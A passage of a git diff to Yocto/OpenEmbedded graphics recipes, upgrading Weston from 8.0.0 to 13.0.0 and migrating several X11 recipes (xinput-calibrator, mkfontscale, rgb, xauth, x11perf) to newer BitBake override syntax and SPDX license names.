-+#ifdef HAVE_PAM
- { "user", required_argument, NULL, 'u' },
-+#endif
- { "tty", required_argument, NULL, 't' },
- { "verbose", no_argument, NULL, 'v' },
- { "help", no_argument, NULL, 'h' },
-@@ -772,11 +786,16 @@ main(int argc, char *argv[])
- while ((c = getopt_long(argc, argv, "u:t:vh", opts, &i)) != -1) {
- switch (c) {
- case 'u':
-+#ifdef HAVE_PAM
- wl.new_user = optarg;
- if (getuid() != 0) {
- fprintf(stderr, "weston: Permission denied. -u allowed for root only\n");
- exit(EXIT_FAILURE);
- }
-+#else
-+ fprintf(stderr, "weston: -u is unsupported in this weston-launch build\n");
-+ exit(EXIT_FAILURE);
-+#endif
- break;
- case 't':
- tty = optarg;
-@@ -828,8 +847,10 @@ main(int argc, char *argv[])
- if (setup_tty(&wl, tty) < 0)
- exit(EXIT_FAILURE);
-
-+#ifdef HAVE_PAM
- if (wl.new_user && setup_pam(&wl) < 0)
- exit(EXIT_FAILURE);
-+#endif
-
- if (setup_launcher_socket(&wl) < 0)
- exit(EXIT_FAILURE);
-diff --git a/meson_options.txt b/meson_options.txt
-index c862ecc..73ef2c3 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -73,6 +73,13 @@ option(
- )
-
- option(
-+ 'pam',
-+ type: 'boolean',
-+ value: true,
-+ description: 'Define if PAM is available'
-+)
-+
-+option(
- 'xwayland',
- type: 'boolean',
- value: true,
diff --git a/meta/recipes-graphics/wayland/weston/systemd-notify.weston-start b/meta/recipes-graphics/wayland/weston/systemd-notify.weston-start
new file mode 100644
index 0000000000..a97e7b38d9
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston/systemd-notify.weston-start
@@ -0,0 +1,9 @@
+#!/bin/sh
+
+# SPDX-FileCopyrightText: Huawei Inc.
+# SPDX-License-Identifier: Apache-2.0
+
+
+if [[ -x "/usr/lib/weston/systemd-notify.so" ]]; then
+ add_weston_module "systemd-notify.so"
+fi
diff --git a/meta/recipes-graphics/wayland/weston/xwayland.weston-start b/meta/recipes-graphics/wayland/weston/xwayland.weston-start
index b483c97cf1..342ac8d129 100644
--- a/meta/recipes-graphics/wayland/weston/xwayland.weston-start
+++ b/meta/recipes-graphics/wayland/weston/xwayland.weston-start
@@ -1,7 +1,6 @@
#!/bin/sh
if type Xwayland >/dev/null 2>/dev/null; then
- mkdir -p /tmp/.X11-unix
-
- add_weston_argument "--modules=xwayland.so"
+ mkdir -m 775 -p /tmp/.X11-unix
+ chown root:video /tmp/.X11-unix
fi
diff --git a/meta/recipes-graphics/wayland/weston_13.0.0.bb b/meta/recipes-graphics/wayland/weston_13.0.0.bb
new file mode 100644
index 0000000000..b728bd0ef3
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston_13.0.0.bb
@@ -0,0 +1,146 @@
+SUMMARY = "Weston, a Wayland compositor"
+DESCRIPTION = "Weston is the reference implementation of a Wayland compositor"
+HOMEPAGE = "http://wayland.freedesktop.org"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d79ee9e66bb0f95d3386a7acae780b70 \
+ file://libweston/compositor.c;endline=27;md5=eb6d5297798cabe2ddc65e2af519bcf0 \
+ "
+
+SRC_URI = "https://gitlab.freedesktop.org/wayland/weston/-/releases/${PV}/downloads/${BPN}-${PV}.tar.xz \
+ file://0001-libweston-tools-Include-libgen.h-for-basename-signat.patch \
+ file://weston.png \
+ file://weston.desktop \
+ file://xwayland.weston-start \
+ file://systemd-notify.weston-start \
+ "
+
+SRC_URI[sha256sum] = "52ff1d4aa2394a2e416c85a338b627ce97fa71d43eb762fd4aaf145d36fc795a"
+
+UPSTREAM_CHECK_URI = "https://gitlab.freedesktop.org/wayland/weston/-/tags"
+UPSTREAM_CHECK_REGEX = "weston-(?P<pver>\d+\.\d+\.(?!9\d+)\d+)"
+
+inherit meson pkgconfig useradd
+
+# depends on virtual/egl
+#
+require ${THISDIR}/required-distro-features.inc
+
+DEPENDS = "libxkbcommon gdk-pixbuf pixman cairo glib-2.0"
+DEPENDS += "wayland wayland-protocols libinput virtual/egl pango wayland-native"
+
+LDFLAGS += "${@bb.utils.contains('DISTRO_FEATURES', 'lto', '-Wl,-z,undefs', '', d)}"
+
+WESTON_MAJOR_VERSION = "${@'.'.join(d.getVar('PV').split('.')[0:1])}"
+
+EXTRA_OEMESON += "-Dpipewire=false"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'kms wayland egl clients', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11 wayland', 'xwayland', '', d)} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'systemd x11', d)} \
+ ${@bb.utils.contains_any('DISTRO_FEATURES', 'wayland x11', '', 'headless', d)} \
+ image-jpeg \
+ screenshare \
+ shell-desktop \
+ shell-fullscreen \
+ shell-ivi \
+ shell-kiosk \
+ "
+
+# Can be 'damage', 'im', 'egl', 'shm', 'touch', 'dmabuf-feedback', 'dmabuf-v4l', 'dmabuf-egl' or 'all'
+SIMPLECLIENTS ?= "all"
+
+#
+# Compositor choices
+#
+# Weston on KMS
+PACKAGECONFIG[kms] = "-Dbackend-drm=true,-Dbackend-drm=false,drm udev seatd virtual/egl virtual/libgles2 virtual/libgbm mtdev"
+# Weston on Wayland (nested Weston)
+PACKAGECONFIG[wayland] = "-Dbackend-wayland=true,-Dbackend-wayland=false,virtual/egl virtual/libgles2"
+# Weston on X11
+PACKAGECONFIG[x11] = "-Dbackend-x11=true,-Dbackend-x11=false,virtual/libx11 libxcb libxcursor"
+# Headless Weston
+PACKAGECONFIG[headless] = "-Dbackend-headless=true,-Dbackend-headless=false"
+# Weston on RDP
+PACKAGECONFIG[rdp] = "-Dbackend-rdp=true,-Dbackend-rdp=false,freerdp"
+# VA-API desktop recorder
+PACKAGECONFIG[vaapi] = "-Dbackend-drm-screencast-vaapi=true,-Dbackend-drm-screencast-vaapi=false,libva"
+# Weston with EGL support
+PACKAGECONFIG[egl] = "-Drenderer-gl=true,-Drenderer-gl=false,virtual/egl"
+# Weston with lcms support
+PACKAGECONFIG[lcms] = "-Dcolor-management-lcms=true,-Dcolor-management-lcms=false,lcms"
+# Weston with webp support
+PACKAGECONFIG[webp] = "-Dimage-webp=true,-Dimage-webp=false,libwebp"
+# Weston with systemd support
+PACKAGECONFIG[systemd] = "-Dsystemd=true,-Dsystemd=false,systemd dbus"
+# Weston with Xwayland support (requires X11 and Wayland)
+PACKAGECONFIG[xwayland] = "-Dxwayland=true,-Dxwayland=false,libxcb libxcursor xcb-util-cursor xwayland"
+# colord CMS support
+PACKAGECONFIG[colord] = "-Ddeprecated-color-management-colord=true,-Ddeprecated-color-management-colord=false,colord"
+# Clients support
+PACKAGECONFIG[clients] = "-Dsimple-clients=${SIMPLECLIENTS} -Ddemo-clients=true,-Dsimple-clients= -Ddemo-clients=false"
+# Virtual remote output with GStreamer on DRM backend
+PACKAGECONFIG[remoting] = "-Dremoting=true,-Dremoting=false,gstreamer1.0 gstreamer1.0-plugins-base"
+# Weston with screen-share support
+PACKAGECONFIG[screenshare] = "-Dscreenshare=true,-Dscreenshare=false"
+# Traditional desktop shell
+PACKAGECONFIG[shell-desktop] = "-Dshell-desktop=true,-Dshell-desktop=false"
+# Fullscreen shell
+PACKAGECONFIG[shell-fullscreen] = "-Dshell-fullscreen=true,-Dshell-fullscreen=false"
+# In-Vehicle Infotainment (IVI) shell
+PACKAGECONFIG[shell-ivi] = "-Dshell-ivi=true,-Dshell-ivi=false"
+# Kiosk shell
+PACKAGECONFIG[shell-kiosk] = "-Dshell-kiosk=true,-Dshell-kiosk=false"
+# JPEG image loading support
+PACKAGECONFIG[image-jpeg] = "-Dimage-jpeg=true,-Dimage-jpeg=false, jpeg"
+# screencasting via PipeWire
+PACKAGECONFIG[pipewire] = "-Dbackend-pipewire=true,-Dbackend-pipewire=false,pipewire"
+# VNC remote screensharing
+PACKAGECONFIG[vnc] = "-Dbackend-vnc=true,-Dbackend-vnc=false,neatvnc"
+
+
+do_install:append() {
+ # Weston doesn't need the .la files to load modules, so wipe them
+ rm -f ${D}/${libdir}/libweston-${WESTON_MAJOR_VERSION}/*.la
+
+ # If X11, ship a desktop file to launch it
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}" ]; then
+ install -d ${D}${datadir}/applications
+ install ${WORKDIR}/weston.desktop ${D}${datadir}/applications
+
+ install -d ${D}${datadir}/icons/hicolor/48x48/apps
+ install ${WORKDIR}/weston.png ${D}${datadir}/icons/hicolor/48x48/apps
+ fi
+
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'xwayland', 'yes', 'no', d)}" = "yes" ]; then
+ install -Dm 644 ${WORKDIR}/xwayland.weston-start ${D}${datadir}/weston-start/xwayland
+ fi
+
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'systemd', 'yes', 'no', d)}" = "yes" ]; then
+ install -Dm 644 ${WORKDIR}/systemd-notify.weston-start ${D}${datadir}/weston-start/systemd-notify
+ fi
+
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'launch', 'yes', 'no', d)}" = "yes" ]; then
+ chmod u+s ${D}${bindir}/weston-launch
+ fi
+}
+
+PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'xwayland', '${PN}-xwayland', '', d)} \
+ libweston-${WESTON_MAJOR_VERSION} ${PN}-examples"
+
+FILES:${PN}-dev += "${libdir}/${BPN}/libexec_weston.so"
+FILES:${PN} = "${sysconfdir} ${bindir}/weston ${bindir}/weston-terminal ${bindir}/weston-info ${bindir}/weston-launch ${bindir}/wcap-decode ${libexecdir} ${libdir}/${BPN}/*.so* ${datadir}"
+
+FILES:libweston-${WESTON_MAJOR_VERSION} = "${libdir}/lib*${SOLIBS} ${libdir}/libweston-${WESTON_MAJOR_VERSION}/*.so"
+SUMMARY:libweston-${WESTON_MAJOR_VERSION} = "Helper library for implementing 'wayland window managers'."
+
+FILES:${PN}-examples = "${bindir}/*"
+
+FILES:${PN}-xwayland = "${libdir}/libweston-${WESTON_MAJOR_VERSION}/xwayland.so"
+RDEPENDS:${PN}-xwayland += "xwayland"
+
+RDEPENDS:${PN} += "xkeyboard-config"
+RRECOMMENDS:${PN} = "weston-init liberation-fonts"
+RRECOMMENDS:${PN}-dev += "wayland-protocols"
+
+USERADD_PACKAGES = "${PN}"
+GROUPADD_PARAM:${PN} = "--system weston-launch"
diff --git a/meta/recipes-graphics/wayland/weston_8.0.0.bb b/meta/recipes-graphics/wayland/weston_8.0.0.bb
deleted file mode 100644
index f8e9e15f84..0000000000
--- a/meta/recipes-graphics/wayland/weston_8.0.0.bb
+++ /dev/null
@@ -1,112 +0,0 @@
-SUMMARY = "Weston, a Wayland compositor"
-DESCRIPTION = "Weston is the reference implementation of a Wayland compositor"
-HOMEPAGE = "http://wayland.freedesktop.org"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d79ee9e66bb0f95d3386a7acae780b70 \
- file://libweston/compositor.c;endline=27;md5=6c53bbbd99273f4f7c4affa855c33c0a"
-
-SRC_URI = "https://wayland.freedesktop.org/releases/${BPN}-${PV}.tar.xz \
- file://weston.png \
- file://weston.desktop \
- file://xwayland.weston-start \
- file://0001-weston-launch-Provide-a-default-version-that-doesn-t.patch \
-"
-SRC_URI[md5sum] = "53e4810d852df0601d01fd986a5b22b3"
-SRC_URI[sha256sum] = "7518b49b2eaa1c3091f24671bdcc124fd49fc8f1af51161927afa4329c027848"
-
-UPSTREAM_CHECK_URI = "https://wayland.freedesktop.org/releases.html"
-
-inherit meson pkgconfig useradd features_check
-# depends on virtual/egl
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-DEPENDS = "libxkbcommon gdk-pixbuf pixman cairo glib-2.0 jpeg"
-DEPENDS += "wayland wayland-protocols libinput virtual/egl pango wayland-native"
-
-WESTON_MAJOR_VERSION = "${@'.'.join(d.getVar('PV').split('.')[0:1])}"
-
-EXTRA_OEMESON += "-Dbackend-default=auto -Dbackend-rdp=false -Dpipewire=false"
-
-PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'kms fbdev wayland egl clients', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11 wayland', 'xwayland', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd x11', d)} \
- ${@bb.utils.contains_any('DISTRO_FEATURES', 'wayland x11', '', 'headless', d)} \
- launch"
-#
-# Compositor choices
-#
-# Weston on KMS
-PACKAGECONFIG[kms] = "-Dbackend-drm=true,-Dbackend-drm=false,drm udev virtual/egl virtual/libgles2 virtual/libgbm mtdev"
-# Weston on Wayland (nested Weston)
-PACKAGECONFIG[wayland] = "-Dbackend-wayland=true,-Dbackend-wayland=false,virtual/egl virtual/libgles2"
-# Weston on X11
-PACKAGECONFIG[x11] = "-Dbackend-x11=true,-Dbackend-x11=false,virtual/libx11 libxcb libxcb libxcursor cairo"
-# Headless Weston
-PACKAGECONFIG[headless] = "-Dbackend-headless=true,-Dbackend-headless=false"
-# Weston on framebuffer
-PACKAGECONFIG[fbdev] = "-Dbackend-fbdev=true,-Dbackend-fbdev=false,udev mtdev"
-# weston-launch
-PACKAGECONFIG[launch] = "-Dweston-launch=true,-Dweston-launch=false,drm"
-# VA-API desktop recorder
-PACKAGECONFIG[vaapi] = "-Dbackend-drm-screencast-vaapi=true,-Dbackend-drm-screencast-vaapi=false,libva"
-# Weston with EGL support
-PACKAGECONFIG[egl] = "-Drenderer-gl=true,-Drenderer-gl=false,virtual/egl"
-# Weston with lcms support
-PACKAGECONFIG[lcms] = "-Dcolor-management-lcms=true,-Dcolor-management-lcms=false,lcms"
-# Weston with webp support
-PACKAGECONFIG[webp] = "-Dimage-webp=true,-Dimage-webp=false,libwebp"
-# Weston with systemd-login support
-PACKAGECONFIG[systemd] = "-Dsystemd=true -Dlauncher-logind=true,-Dsystemd=false -Dlauncher-logind=false,systemd dbus"
-# Weston with Xwayland support (requires X11 and Wayland)
-PACKAGECONFIG[xwayland] = "-Dxwayland=true,-Dxwayland=false"
-# colord CMS support
-PACKAGECONFIG[colord] = "-Dcolor-management-colord=true,-Dcolor-management-colord=false,colord"
-# Clients support
-PACKAGECONFIG[clients] = "-Dsimple-clients=all -Ddemo-clients=true,-Dsimple-clients= -Ddemo-clients=false"
-# Virtual remote output with GStreamer on DRM backend
-PACKAGECONFIG[remoting] = "-Dremoting=true,-Dremoting=false,gstreamer-1.0"
-# Weston with PAM support
-PACKAGECONFIG[pam] = "-Dpam=true,-Dpam=false,libpam"
-
-do_install_append() {
- # Weston doesn't need the .la files to load modules, so wipe them
- rm -f ${D}/${libdir}/libweston-${WESTON_MAJOR_VERSION}/*.la
-
- # If X11, ship a desktop file to launch it
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}" ]; then
- install -d ${D}${datadir}/applications
- install ${WORKDIR}/weston.desktop ${D}${datadir}/applications
-
- install -d ${D}${datadir}/icons/hicolor/48x48/apps
- install ${WORKDIR}/weston.png ${D}${datadir}/icons/hicolor/48x48/apps
- fi
-
- if [ "${@bb.utils.contains('PACKAGECONFIG', 'xwayland', 'yes', 'no', d)}" = "yes" ]; then
- install -Dm 644 ${WORKDIR}/xwayland.weston-start ${D}${datadir}/weston-start/xwayland
- fi
-
- if [ "${@bb.utils.contains('PACKAGECONFIG', 'launch', 'yes', 'no', d)}" = "yes" ]; then
- chmod u+s ${D}${bindir}/weston-launch
- fi
-}
-
-PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'xwayland', '${PN}-xwayland', '', d)} \
- libweston-${WESTON_MAJOR_VERSION} ${PN}-examples"
-
-FILES_${PN}-dev += "${libdir}/${BPN}/libexec_weston.so"
-FILES_${PN} = "${bindir}/weston ${bindir}/weston-terminal ${bindir}/weston-info ${bindir}/weston-launch ${bindir}/wcap-decode ${libexecdir} ${libdir}/${BPN}/*.so* ${datadir}"
-
-FILES_libweston-${WESTON_MAJOR_VERSION} = "${libdir}/lib*${SOLIBS} ${libdir}/libweston-${WESTON_MAJOR_VERSION}/*.so"
-SUMMARY_libweston-${WESTON_MAJOR_VERSION} = "Helper library for implementing 'wayland window managers'."
-
-FILES_${PN}-examples = "${bindir}/*"
-
-FILES_${PN}-xwayland = "${libdir}/libweston-${WESTON_MAJOR_VERSION}/xwayland.so"
-RDEPENDS_${PN}-xwayland += "xserver-xorg-xwayland"
-
-RDEPENDS_${PN} += "xkeyboard-config"
-RRECOMMENDS_${PN} = "weston-init liberation-fonts"
-RRECOMMENDS_${PN}-dev += "wayland-protocols"
-
-USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "--system weston-launch"
diff --git a/meta/recipes-graphics/x11-common/xserver-nodm-init_3.0.bb b/meta/recipes-graphics/x11-common/xserver-nodm-init_3.0.bb
index c2995f99ff..671c0a290e 100644
--- a/meta/recipes-graphics/x11-common/xserver-nodm-init_3.0.bb
+++ b/meta/recipes-graphics/x11-common/xserver-nodm-init_3.0.bb
@@ -1,8 +1,7 @@
SUMMARY = "Simple Xserver Init Script (no dm)"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
SECTION = "x11"
-PR = "r31"
SRC_URI = "file://xserver-nodm \
file://Xserver \
@@ -52,9 +51,9 @@ do_install() {
sed -i "s:@NO_CURSOR_ARG@:${NO_CURSOR_ARG}:" ${D}${sysconfdir}/default/xserver-nodm
if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/xserver-nodm.service.in ${D}${systemd_unitdir}/system/xserver-nodm.service
- sed -i "s:@USER@:${XUSER}:" ${D}${systemd_unitdir}/system/xserver-nodm.service
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/xserver-nodm.service.in ${D}${systemd_system_unitdir}/xserver-nodm.service
+ sed -i "s:@USER@:${XUSER}:" ${D}${systemd_system_unitdir}/xserver-nodm.service
fi
if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','true','false',d)}; then
@@ -63,10 +62,10 @@ do_install() {
fi
}
-RDEPENDS_${PN} = "xinit ${@oe.utils.conditional('ROOTLESS_X', '1', 'xuser-account libcap libcap-bin', '', d)}"
+RDEPENDS:${PN} = "xinit ${@oe.utils.conditional('ROOTLESS_X', '1', 'xuser-account libcap libcap-bin', '', d)}"
INITSCRIPT_NAME = "xserver-nodm"
INITSCRIPT_PARAMS = "start 9 5 . stop 20 0 1 2 3 6 ."
-SYSTEMD_SERVICE_${PN} = "xserver-nodm.service"
+SYSTEMD_SERVICE:${PN} = "xserver-nodm.service"
-RCONFLICTS_${PN} = "xserver-common (< 1.34-r9) x11-common"
+RCONFLICTS:${PN} = "xserver-common (< 1.34-r9) x11-common"
diff --git a/meta/recipes-graphics/xcursor-transparent-theme/xcursor-transparent-theme_git.bb b/meta/recipes-graphics/xcursor-transparent-theme/xcursor-transparent-theme_git.bb
index a4ab7f6eb8..40b77422bf 100644
--- a/meta/recipes-graphics/xcursor-transparent-theme/xcursor-transparent-theme_git.bb
+++ b/meta/recipes-graphics/xcursor-transparent-theme/xcursor-transparent-theme_git.bb
@@ -2,19 +2,19 @@ SUMMARY = "Transparent X11 cursor theme for touchscreens"
HOMEPAGE = "http://www.matchbox-project.org/"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
SECTION = "x11/base"
SRCREV = "23c8af5ba4a1b7efbaf0bbca59a65ff7e10a1a06"
-PV = "0.1.1+git${SRCPV}"
+PV = "0.1.1+git"
-SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master"
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master;protocol=https"
UPSTREAM_CHECK_COMMITS = "1"
S = "${WORKDIR}/git"
inherit autotools allarch
-FILES_${PN} = "${datadir}/icons/xcursor-transparent/cursors/*"
+FILES:${PN} = "${datadir}/icons/xcursor-transparent/cursors/*"
diff --git a/meta/recipes-graphics/xinput-calibrator/pointercal-xinput_0.0.bb b/meta/recipes-graphics/xinput-calibrator/pointercal-xinput_0.0.bb
index 65348c3762..5c9742fb20 100644
--- a/meta/recipes-graphics/xinput-calibrator/pointercal-xinput_0.0.bb
+++ b/meta/recipes-graphics/xinput-calibrator/pointercal-xinput_0.0.bb
@@ -1,8 +1,10 @@
SUMMARY = "Touchscreen calibration data from xinput-calibrator"
+DESCRIPTION = "A generic touchscreen calibration program for X.Org"
+HOMEPAGE = "https://www.freedesktop.org/wiki/Software/xinput_calibrator/"
+BUGTRACKER = "https://github.com/tias/xinput_calibrator/issues"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-PR = "r7"
SRC_URI = "file://pointercal.xinput"
S = "${WORKDIR}"
@@ -17,4 +19,4 @@ do_install() {
}
PACKAGE_ARCH = "${MACHINE_ARCH}"
-CONFFILES_${PN} = "${sysconfdir}/pointercal.xinput"
+CONFFILES:${PN} = "${sysconfdir}/pointercal.xinput"
diff --git a/meta/recipes-graphics/xinput-calibrator/xinput-calibrator_git.bb b/meta/recipes-graphics/xinput-calibrator/xinput-calibrator_git.bb
index 4f831932e7..7b49668f92 100644
--- a/meta/recipes-graphics/xinput-calibrator/xinput-calibrator_git.bb
+++ b/meta/recipes-graphics/xinput-calibrator/xinput-calibrator_git.bb
@@ -1,18 +1,17 @@
SUMMARY = "Touchscreen calibration program for X11"
HOMEPAGE = "http://www.freedesktop.org/wiki/Software/xinput_calibrator"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://src/calibrator.cpp;endline=22;md5=1bcba08f67cdb56f34021557898e4b5a"
DEPENDS = "virtual/libx11 libxi libxrandr"
-PV = "0.7.5+git${SRCPV}"
-PR = "r6"
+PV = "0.7.5+git"
inherit autotools pkgconfig features_check
# depends on virtual/libx11
REQUIRED_DISTRO_FEATURES = "x11"
-SRCREV = "03dadf55109bd43d3380f040debe9f82f66f2f35"
-SRC_URI = "git://github.com/tias/xinput_calibrator.git \
+SRCREV = "18ec53f1cada39f905614ebfaffed5c7754ecf46"
+SRC_URI = "git://github.com/kreijack/xinput_calibrator.git;branch=libinput;protocol=https \
file://30xinput_calibrate.sh \
file://Allow-xinput_calibrator_pointercal.sh-to-be-run-as-n.patch \
file://0001-calibrator.hh-Include-string-to-get-std-string.patch \
@@ -23,7 +22,7 @@ S = "${WORKDIR}/git"
# force native X11 ui as we don't have gtk+ in DEPENDS
EXTRA_OECONF += "--with-gui=x11"
-do_install_append() {
+do_install:append() {
install -d ${D}${bindir}
install -m 0755 ${S}/scripts/xinput_calibrator_pointercal.sh ${D}${bindir}/xinput_calibrator_once.sh
@@ -34,6 +33,6 @@ do_install_append() {
sed -e 's,^Exec=.*,Exec=${bindir}/xinput_calibrator_once.sh,' ${S}/scripts/xinput_calibrator.desktop > ${D}${sysconfdir}/xdg/autostart/xinput_calibrator.desktop
}
-FILES_${PN} += "${sysconfdir}/xdg/autostart"
-RDEPENDS_${PN} = "xinput formfactor"
-RRECOMMENDS_${PN} = "pointercal-xinput"
+FILES:${PN} += "${sysconfdir}/xdg/autostart"
+RDEPENDS:${PN} = "xinput formfactor"
+RRECOMMENDS:${PN} = "pointercal-xinput"
diff --git a/meta/recipes-graphics/xorg-app/mkfontscale_1.2.1.bb b/meta/recipes-graphics/xorg-app/mkfontscale_1.2.1.bb
deleted file mode 100644
index a767ee847b..0000000000
--- a/meta/recipes-graphics/xorg-app/mkfontscale_1.2.1.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "A program to create an index of scalable font files for X"
-
-DESCRIPTION = "For each directory argument, mkfontscale reads all of the \
-scalable font files in the directory. For every font file found, an X11 \
-font name (XLFD) is generated, and is written together with the file \
-name to a file fonts.scale in the directory. The resulting fonts.scale \
-is used by the mkfontdir program."
-
-DEPENDS = "util-macros-native zlib libfontenc freetype xorgproto"
-
-PROVIDES += "mkfontdir"
-RPROVIDES_${PN} += "mkfontdir"
-
-BBCLASSEXTEND = "native"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=99b1e1269aba5179139b9e4380fc0934"
-
-SRC_URI[md5sum] = "215940de158b1a3d8b3f8b442c606e2f"
-SRC_URI[sha256sum] = "ca0495eb974a179dd742bfa6199d561bda1c8da4a0c5a667f21fd82aaab6bac7"
diff --git a/meta/recipes-graphics/xorg-app/mkfontscale_1.2.3.bb b/meta/recipes-graphics/xorg-app/mkfontscale_1.2.3.bb
new file mode 100644
index 0000000000..aa79902a34
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/mkfontscale_1.2.3.bb
@@ -0,0 +1,21 @@
+require xorg-app-common.inc
+
+SUMMARY = "A program to create an index of scalable font files for X"
+
+DESCRIPTION = "For each directory argument, mkfontscale reads all of the \
+scalable font files in the directory. For every font file found, an X11 \
+font name (XLFD) is generated, and is written together with the file \
+name to a file fonts.scale in the directory. The resulting fonts.scale \
+is used by the mkfontdir program."
+
+DEPENDS = "util-macros-native zlib libfontenc freetype xorgproto"
+
+PROVIDES += "mkfontdir"
+RPROVIDES:${PN} += "mkfontdir"
+
+BBCLASSEXTEND = "native"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=5a60c596d1b5f3dee9f005b703b3180d"
+
+SRC_URI_EXT = "xz"
+SRC_URI[sha256sum] = "2921cdc344f1acee04bcd6ea1e29565c1308263006e134a9ee38cf9c9d6fe75e"
diff --git a/meta/recipes-graphics/xorg-app/rgb_1.0.6.bb b/meta/recipes-graphics/xorg-app/rgb_1.0.6.bb
deleted file mode 100644
index c3e853631b..0000000000
--- a/meta/recipes-graphics/xorg-app/rgb_1.0.6.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "X11 color name database"
-DESCRIPTION = "This package includes both the list mapping X color names \
-to RGB values (rgb.txt) and, if configured to use a database for color \
-lookup, the rgb program to convert the text file into the binary database \
-format."
-
-DEPENDS += " xorgproto util-macros"
-LIC_FILES_CHKSUM = "file://COPYING;md5=ef598adbe241bd0b0b9113831f6e249a"
-PE = "1"
-
-SRC_URI[md5sum] = "eab5bbd7642e5c784429307ec210d198"
-SRC_URI[sha256sum] = "bbca7c6aa59939b9f6a0fb9fff15dfd62176420ffd4ae30c8d92a6a125fbe6b0"
-
-FILES_${PN} += "${datadir}/X11"
diff --git a/meta/recipes-graphics/xorg-app/rgb_1.1.0.bb b/meta/recipes-graphics/xorg-app/rgb_1.1.0.bb
new file mode 100644
index 0000000000..f14da7fd21
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/rgb_1.1.0.bb
@@ -0,0 +1,16 @@
+require xorg-app-common.inc
+
+SUMMARY = "X11 color name database"
+DESCRIPTION = "This package includes both the list mapping X color names \
+to RGB values (rgb.txt) and, if configured to use a database for color \
+lookup, the rgb program to convert the text file into the binary database \
+format."
+
+DEPENDS += " xorgproto util-macros"
+LIC_FILES_CHKSUM = "file://COPYING;md5=ef598adbe241bd0b0b9113831f6e249a"
+PE = "1"
+
+SRC_URI_EXT = "xz"
+SRC_URI[sha256sum] = "fc03d7f56e5b2a617668167f8927948cce54f93097e7ccd9f056077f479ed37b"
+
+FILES:${PN} += "${datadir}/X11"
diff --git a/meta/recipes-graphics/xorg-app/x11perf_1.6.1.bb b/meta/recipes-graphics/xorg-app/x11perf_1.6.1.bb
index c4d443bfb9..651d03caca 100644
--- a/meta/recipes-graphics/xorg-app/x11perf_1.6.1.bb
+++ b/meta/recipes-graphics/xorg-app/x11perf_1.6.1.bb
@@ -17,11 +17,11 @@ inherit multilib_script
MULTILIB_SCRIPTS = "${PN}:${bindir}/x11perfcomp"
-do_install_append_class-target () {
+do_install:append:class-target () {
sed -i -e 's:${HOSTTOOLS_DIR}/::g' ${D}${bindir}/x11perfcomp
}
-FILES_${PN} += "${libdir}/X11/x11perfcomp/*"
+FILES:${PN} += "${libdir}/X11/x11perfcomp/*"
SRC_URI[md5sum] = "e96b56756990c56c24d2d02c2964456b"
SRC_URI[sha256sum] = "1c7e0b8ffc2794b4ccf11e04d551823abe0ea47b4f7db0637390db6fbe817c34"
diff --git a/meta/recipes-graphics/xorg-app/xauth_1.1.3.bb b/meta/recipes-graphics/xorg-app/xauth_1.1.3.bb
new file mode 100644
index 0000000000..b0ca33bf4b
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xauth_1.1.3.bb
@@ -0,0 +1,15 @@
+require xorg-app-common.inc
+SUMMARY = "X authority utilities"
+DESCRIPTION = "X application to edit and display the authorization \
+information used in connecting to the X server."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=5ec74dd7ea4d10c4715a7c44f159a40b"
+
+DEPENDS += "libxau libxext libxmu"
+PE = "1"
+
+SRC_URI_EXT = "xz"
+SRC_URI[sha256sum] = "e7075498bae332f917f01d660f9b940c0752b2556a8da61ccb62a44d0ffe9d33"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
diff --git a/meta/recipes-graphics/xorg-app/xauth_1.1.bb b/meta/recipes-graphics/xorg-app/xauth_1.1.bb
deleted file mode 100644
index 24ad9606ec..0000000000
--- a/meta/recipes-graphics/xorg-app/xauth_1.1.bb
+++ /dev/null
